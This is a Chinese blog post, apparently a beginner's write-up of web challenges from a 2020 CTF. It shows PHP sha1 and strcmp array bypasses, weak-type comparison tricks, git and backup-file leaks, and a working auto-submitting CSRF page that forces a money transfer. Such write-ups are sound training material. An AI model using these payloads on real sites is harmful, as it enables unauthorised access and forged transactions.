freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

2020极客大挑战web题部分wp
小奇点 2020-11-17 20:05:18 412475

可能起点不同吧,对于萌新(我)来说确实是难了点。

web1 welcome

进去是个空白页面,以post方式提交数据,就会看到

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
} 

看到源码,如果以get方式,就会出现空白页面。

以post方式提交roam1和roam2

=      //赋值
==     //只比较数值
===   //数值和类型都要比较

我们还要满足roam1和roam2的值不同,但是经过sha1加密的roam1和roam2类型和数值都要相同。

可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:roam1[]=1&&roam2[]=2这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,就会给我们返回php的信息。在这里插入图片描述
我们可以找到flag所在的文件,只需要访问就行了。(试了n次也不行)

最后通过抓包
在这里插入图片描述
找到了flag。

web2 flagshop

这道题本来没有做出了,放出来hint也没有做出来,最后请教团队的大佬做出来了。
1605614400_5fb3bb40d40989103bc16.png!small?1605614433834
先注册一个账号,登陆进去。
1605614408_5fb3bb4849f093291a95e.png!small?1605614440877
我们需要买flag,但是钱包
1605614415_5fb3bb4fcb5daa77dc701.png!small?1605614448092
钱包里的前空空如也。

这道题我们主要是通过csrf漏洞,构建一个我们伪造的页面,让后台的管理员给我们转钱。
1605614423_5fb3bb57314e4b3efe692.png!small?1605614455432
第一步就是MD5截断,得到验证码。
第二步在自己的服务器上构造一个转钱页面,在报告上面提交。
构造1.html(这个页面主要内容是通过burp抓包构造csrf poc)

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="target" value="qidian" />
      <input type="hidden" name="money" value="100000000000000000000000" />
      <input type="hidden" name="messages" value="nihao" />
      <input type="submit" value="Submit request" id="click" />
    </form>
    <script type="text/javascript">
      document.getElementById("click").click();
    </script>
  </body>
</html>

代码内容就是转好多好多钱给奇点。

将url提交。
1605614505_5fb3bba9397baebbefe8e.png!small?1605614537510
1605614511_5fb3bbafd9918bc00c6ad.png!small?1605614544387
钱来了。

web 3 朋友的学妹

检查页面源代码,得到flag=U1lDe0YxQF80c19oNExwZnVsbGxsbGx9

并且还有提示F12查看源代码,base64是一种常见编码。

将上面的字符的字符解密一下得到flag。

web4 EZWWW

已经有了提示www,在网站后缀加上www.zip,就会下载www.zip文件。

得到了flag文件却不对,看了下index.php的代码。

<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
    //this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>

$key2是已知的,我们base64解密就行了,将我们传入的参数等于 $key2,就能得到flag。

web5 EZgit

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,嘿嘿嘿。。。

给了提示git泄露。

这时候就需要一个神奇了Git Hack(python2环境)了。

python2 GitHack url/.git/

1605614519_5fb3bbb77b8ed8935f231.png!small?1605614551878
ls -a 列出隐藏文件

git log 查看记录

在第二行发现了flag,但是没有显示

利用diff参数,查看当前记录,3796是3796466675a1db323e42170def92bee71344a2ee的前四位缩写。

web6 刘壮的黑页

<?php
include("flag.php");
highlight_file(__FILE__);
$username = $_GET['username'];
$passwd = $_POST['passwd'];
if ($username === 'admin' && $passwd === 'syclover') {
    echo $flag;
}

以不同的方式提交username和passwd。

就可以得到flag。

web7 ezbypass

在这里插入图片描述
a与b通过strcmp函数比较,并且a和b还不能相等。

strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

但是这个函数有个漏洞,在5.3之前的php中,如果我们传入非字符串类型的数据的时候,当这个函数接受到了不符合的类型,这个函数将发生错误,但是,显示了报错的警告信息后,将return 0 !也就是虽然报了错,但却判定其相等了。

http://49.234.224.119:7417/?a[]=123&b=nm

这个payload就可以绕过。

在这里插入图片描述
第二步要求我们以POST的方式传入参数C要求其数据类型是非数字变量且还要等于123。

本来以为使用PHP的进制转函数能轻易饶过,但是我错了,应该是php弱类型绕过。

c=123x

就能轻松绕过,吐了吐了吐了!!!

# CTF # 网络安全技术 # CTF赛事
本文为 小奇点 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
小奇点 LV.1
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 10 关注者
SQL注入之堆叠注入
2020-09-23
SQL注入之二次注入
2020-09-21